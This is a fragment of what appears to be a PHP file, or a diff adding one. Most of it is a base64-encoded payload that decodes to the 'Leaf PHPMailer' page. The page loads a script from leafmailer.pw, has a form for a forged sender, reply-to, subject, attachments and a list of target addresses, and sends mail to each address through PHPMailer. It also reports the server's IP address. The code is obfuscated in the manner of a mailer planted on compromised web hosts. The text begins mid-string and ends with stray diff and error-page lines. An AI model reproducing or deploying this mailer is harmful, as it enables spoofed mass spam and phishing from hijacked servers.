bmsgaHJlZj0iaHR0cHM6Ly9tYXhjZG4uYm9vdHN0cmFwY2RuLmNvbS9ib290c3dhdGNoLzMuMy42L2Nvc21vL2Jvb3RzdHJhcC5taW4uY3NzIiByZWw9InN0eWxlc2hlZXQiID4KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL21heGNkbi5ib290c3RyYXBjZG4uY29tL2Jvb3RzdHJhcC8zLjMuNi9qcy9ib290c3RyYXAubWluLmpzIj48L3NjcmlwdD4KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2xlYWZtYWlsZXIucHcvc3R5bGUuanMiPjwvc2NyaXB0PgoKPC9oZWFkPic7CgpwcmludCAnPGJvZHk+JzsKcHJpbnQgJzxkaXYgY2xhc3M9ImNvbnRhaW5lciBjb2wtbGctNiI+CiAgICAgICAgPGgzPjxmb250IGNvbG9yPSJncmVlbiI+PHNwYW4gY2xhc3M9ImdseXBoaWNvbiBnbHlwaGljb24tbGVhZiI+PC9zcGFuPjwvZm9udD4geExlZXQgUEhQTWFpbGVyIDxzbWFsbD4nLiRsZWFmWyd2ZXJzaW9uJ10uJzwvc21hbGw+PC9oMz4KICAgICAgICA8Zm9ybSBuYW1lPSJmb3JtIiBpZD0iZm9ybSIgbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBhY3Rpb249IiI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9InJvdyI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy02ICI+PGxhYmVsIGZvcj0ic2VuZGVyRW1haWwiPkVtYWlsPC9sYWJlbD48aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImZvcm0tY29udHJvbCAgaW5wdXQtc20gIiBpZD0ic2VuZGVyRW1haWwiIG5hbWU9InNlbmRlckVtYWlsIiB2YWx1ZT0iJy4kc2VuZGVyRW1haWwuJyI+PC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy02ICI+PGxhYmVsIGZvcj0ic2VuZGVyTmFtZSI+U2VuZGVyIE5hbWU8L2xhYmVsPjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iZm9ybS1jb250cm9sICBpbnB1dC1zbSAiIGlkPSJzZW5kZXJOYW1lIiBuYW1lPSJzZW5kZXJOYW1lIiB2YWx1ZT0iJy4kc2VuZGVyTmFtZS4nIj48L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9InJvdyI+CiAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iZm9ybS1ncm91cCBjb2wtbGctNiAgIj48bGFiZWwgZm9yPSJhdHRhY2htZW50Ij5BdHRhY2htZW50IDxzbWFsbD4oTXVsdGlwbGUgQXZhaWxhYmxlKTwvc21hbGw+PC9sYWJlbD48aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iYXR0YWNobWVudFtdIiBpZD0iYXR0YWNobWVudFtdIiBtdWx0aXBsZS8+PC9zcGFuPgoKICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgY29sLWxnLTYiPjxsYWJlbCBmb3I9InJlcGx5VG8iPlJlcGx5LXRvPC9sYWJlbD48aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImZvcm0tY29udHJvbCAgaW5wdXQtc20gIiBpZD0icmVwbHlUbyIgbmFtZT0icmVwbHlUbyIgdmFsdWU9IicuJHJlcGx5VG8uJyIgLz48L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9InJvdyI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy0xMiAiPjxsYWJlbCBmb3I9InN1YmplY3QiPlN1YmplY3Q8L2xhYmVsPjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iZm9ybS1jb250cm9sICBpbnB1dC1zbSAiIGlkPSJzdWJqZWN0IiBuYW1lPSJzdWJqZWN0IiB2YWx1ZT0iJy4kc3ViamVjdC4nIiAvPjwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgY29sLWxnLTYiPjxsYWJlbCBmb3I9Im1lc3NhZ2VMZXR0ZXIiPk1lc3NhZ2UgTGV0dGVyPC9sYWJlbD48dGV4dGFyZWEgbmFtZT0ibWVzc2FnZUxldHRlciIgaWQ9Im1lc3NhZ2VMZXR0ZXIiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHJvd3M9IjEwIiBpZD0idGV4dEFyZWEiPicuJG1lc3NhZ2VMZXR0ZXIuJzwvdGV4dGFyZWE+PC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy02ICI+PGxhYmVsIGZvcj0iZW1haWxMaXN0Ij5FbWFpbCBMaXN0PC9sYWJlbD48dGV4dGFyZWEgbmFtZT0iZW1haWxMaXN0IiBpZD0iZW1haWxMaXN0IiBjbGFzcz0iZm9ybS1jb250cm9sIiByb3dzPSIxMCIgaWQ9InRleHRBcmVhIj4nLiRlbWFpbExpc3QuJzwvdGV4dGFyZWE+PC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3ciPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBjb2wtbGctNiAiPgogICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9Im1lc3NhZ2VUeXBlIj5NZXNzYWdlIFR5cGU8L2xhYmVsPgogICAgICAgICAgICAgICAgICAgIEhUTUwgPGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJtZXNzYWdlVHlwZSIgaWQ9Im1lc3NhZ2VUeXBlIiB2YWx1ZT0iMSIgJy4kaHRtbC4nPgogICAgICAgICAgICAgICAgICAgIFBsYWluPGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJtZXNzYWdlVHlwZSIgaWQ9Im1lc3NhZ2VUeXBlIiB2YWx1ZT0iMiIgJy4kcGxhaW4uJz4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBjb2wtbGctMyAiPgogICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9ImVuY29kZSI+RW5jb2RlIFR5cGU8L2xhYmVsPgogICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgY2xhc3M9ImZvcm0tY29udHJvbCBpbnB1dC1zbSIgaWQ9ImVuY29kZSIgbmFtZT0iZW5jb2RlIj4KICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iVVRGLTgiIHNlbGVjdGVkPlVURi04IEVuY29kZTwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJVVEYtOCI+SVNPIEVuY29kZTwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgIDwvc2VsZWN0PgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvZGl2PiAKICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRlZmF1bHQgYnRuLXNtIiBmb3JtPSJmb3JtIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJzZW5kIj5TRU5EPC9idXR0b24+CiAgIAogICAgICAgIDwvZm9ybT4KICAgIDwvZGl2PgogICAgPGRpdiBjbGFzcz0iY29sLWxnLTYiPjxicj4KICAgICAgICA8bGFiZWwgZm9yPSJ3ZWxsIj5JbnN0cnVjdGlvbjwvbGFiZWw+CiAgICAgICAgPGRpdiBpZD0id2VsbCIgY2xhc3M9IndlbGwgd2VsbCI+CiAgICAgICAgICAgIDxoND5TZXJ2ZXIgSW5mb3JtYXRpb248L2g0PgogICAgICAgICAgICA8dWw+CiAgICAgICAgICAgICAgICA8bGk+U2VydmVySVAgOiA8Yj4nLiRfU0VSVkVSWydTRVJWRVJfQUREUiddLic8L2I+PC9saT4KCiAgICAgICAgICAgIDwvdWw+CiAgICAgICAgICAgIDxoND5IRUxQPC9oND4KICAgICAgICAgICAgPHVsPgogICAgICAgICAgICAgICAgPGxpPlstZW1haWwtXSA6IDxiPlJlY2l2ZXIgRW1haWw8L2I+PC9saT4KICAgICAgICAgICAgICAgIDxsaT5bLXRpbWUtXSA6IDxiPkRhdGUgYW5kIFRpbWU8L2I+ICgnLmRhdGUoIm0vZC9ZIGg6aTpzIGEiLCB0aW1lKCkpLicpPC9saT4KICAgICAgICAgICAgICAgIDxsaT5bLWVtYWlsdXNlci1dIDogPGI+RW1haWwgVXNlcjwvYj4gKGVtYWlsdXNlckBlbWFpbGRvbWFpbik8L2xpPgogICAgICAgICAgICAgICAgPGxpPlstcmFuZG9tc3RyaW5nLV0gOiA8Yj5SYW5kb20gc3RyaW5nICgwLTksYS16KTwvYj48L2xpPgogICAgICAgICAgICAgICAgPGxpPlstcmFuZG9tbnVtYmVyLV0gOiA8Yj5SYW5kb20gbnVtYmVyICgwLTkpIDwvYj48L2xpPgogICAgICAgICAgICAgICAgPGxpPlstcmFuZG9tbGV0dGVycy1dIDogPGI+UmFuZG9tIExldHRlcnMoYS16KSA8L2I+PC9saT4KICAgICAgICAgICAgICAgIDxsaT5bLXJhbmRvbW1kNS1dIDogPGI+UmFuZG9tIE1ENSA8L2I+PC9saT4KICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgPGg0PmV4YW1wbGU8L2g0PgogICAgICAgICAgICBSZWNpdmVyIEVtYWlsID0gPGI+dXNlckBkb21haW4uY29tPC9iPjxicj4KICAgICAgICAgICAgPHVsPgogICAgICAgICAgICAgICAgPGxpPmhlbGxvIDxiPlstZW1haWx1c2VyLV08L2I+IC0+IGhlbGxvIDxiPnVzZXI8L2I+PC9saT4KICAgICAgICAgICAgICAgIDxsaT55b3VyIGNvZGUgaXMgIDxiPlstcmFuZG9tbWQ1LV08L2I+IC0+IHlvdXIgY29kZSBpcyA8Yj5lMTBhZGMzOTQ5YmE1OWFiYmU1NmUwNTdmMjBmODgzZTwvYj48L2xpPgogICAgICAgICAgICA8L3VsPgoKICAgICAgICAgICAgPGg2PmJ5IDxiPjxhIGhyZWY9Imh0dHA6Ly8nLiRsZWFmWyd3ZWJzaXRlJ10uJyI+Jy4kbGVhZlsnd2Vic2l0ZSddLic8L2E+PC9iPjwvaDY+CiAgICAgICAgPC9kaXY+CiAgICA8L2Rpdj4nOyAgICAKICAgIAppZigkX1BPU1RbJ2FjdGlvbiddPT0ic2VuZCIpewogICAgcHJpbnQgJyAgICA8ZGl2IGNsYXNzPSJjb2wtbGctMTIiPic7CiAgICAkbWFpbGxpc3Q9ZXhwbG9kZSgiXHJcbiIsICRlbWFpbExpc3QpOwogICAgJG49Y291bnQoJG1haWxsaXN0KTsKICAgICR4ID0xOwogICAgZm9yZWFjaCAoJG1haWxsaXN0IGFzICRlbWFpbCApIHsKICAgICAgICBwcmludCAnPGRpdiBjbGFzcz0iY29sLWxnLTEiPlsnLiR4LicvJy4kbi4nXTwvZGl2PjxkaXYgY2xhc3M9ImNvbC1sZy01Ij4nLiRlbWFpbC4nPC9kaXY+JzsKICAgICAgICBpZighbGVhZk1haWxDaGVjaygkZW1haWwpKSB7CiAgICAgICAgICAgIHByaW50ICc8ZGl2IGNsYXNzPSJjb2wtbGctNiI+PHNwYW4gY2xhc3M9ImxhYmVsIGxhYmVsLWRlZmF1bHQiPkluY29ycmVjdCBFbWFpbDwvc3Bhbj48L2Rpdj4nOwogICAgICAgICAgICBwcmludCAiPGJyPlxyXG4iOwogICAgICAgIH0KICAgICAgICBlbHNlIHsKICAgICAgICAgICAgJG1haWwgPSBuZXcgUEhQTWFpbGVyOwogICAgICAgICAgICAkbWFpbC0+c2V0RnJvbShsZWFmQ2xlYXIoJHNlbmRlckVtYWlsLCRlbWFpbCksbGVhZkNsZWFyKCRzZW5kZXJOYW1lLCRlbWFpbCkpOwogICAgICAgICAgICAkbWFpbC0+YWRkUmVwbHlUbyhsZWFmQ2xlYXIoJHJlcGx5VG8sJGVtYWlsKSk7CiAgICAgICAgICAgICRtYWlsLT5hZGRBZGRyZXNzKCRlbWFpbCk7CiAgICAgICAgICAgICRtYWlsLT5TdWJqZWN0ID0gbGVhZkNsZWFyKCRzdWJqZWN0LCRlbWFpbCk7CiAgICAgICAgICAgICRtYWlsLT5Cb2R5ID0gIGxlYWZDbGVhcigkbWVzc2FnZUxldHRlciwkZW1haWwpOwogICAgICAgICAgICAkbWFpbC0+Q2hhclNldCA9ICRlbmNvZGU7CiAgICAgICAgICAgIGZvcigkaT0wOyAkaTxjb3VudCgkX0ZJTEVTWydhdHRhY2htZW50J11bJ25hbWUnXSk7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgkX0ZJTEVTWydhdHRhY2htZW50J11bJ3RtcF9uYW1lJ11bJGldICE9ICIiKXsKICAgICAgICAgICAgICAgICAgICAkbWFpbC0+QWRkQXR0YWNobWVudCgkX0ZJTEVTWydhdHRhY2htZW50J11bJ3RtcF9uYW1lJ11bJGldLCRfRklMRVNbJ2F0dGFjaG1lbnQnXVsnbmFtZSddWyRpXSk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmKCRtZXNzYWdlVHlwZT09MSl7JG1haWwtPklzSFRNTCh0cnVlKTt9CiAgICAgICAgICAgIGVsc2UgeyRtYWlsLT5Jc0hUTUwoZmFsc2UpO30KICAgICAgICAgICAgaWYgKCEkbWFpbC0+c2VuZCgpKSB7CiAgICAgICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPSJjb2wtbGctNiI+PHNwYW4gY2xhc3M9ImxhYmVsIGxhYmVsLWRlZmF1bHQiPicuJG1haWwtPkVycm9ySW5mby4nPC9zcGFuPjwvZGl2Pic7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPSJjb2wtbGctNiI+PHNwYW4gY2xhc3M9ImxhYmVsIGxhYmVsLXN1Y2Nlc3MiPk9rPC9zcGFuPjwvZGl2Pic7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcHJpbnQgIjxicj5cclxuIjsKICAgICAgICB9CiAgICAgICAgJHgrKzsKICAgICAgICBmb3IoJGsgPSAwOyAkayA8IDQwMDAwOyAkaysrKSB7ZWNobyAnICc7fQogICAgfQoKfQpwcmludCAnPC9ib2R5Pic7"));
     11 +?>
     12 + 
Please wait...
Page is in error, reload to recover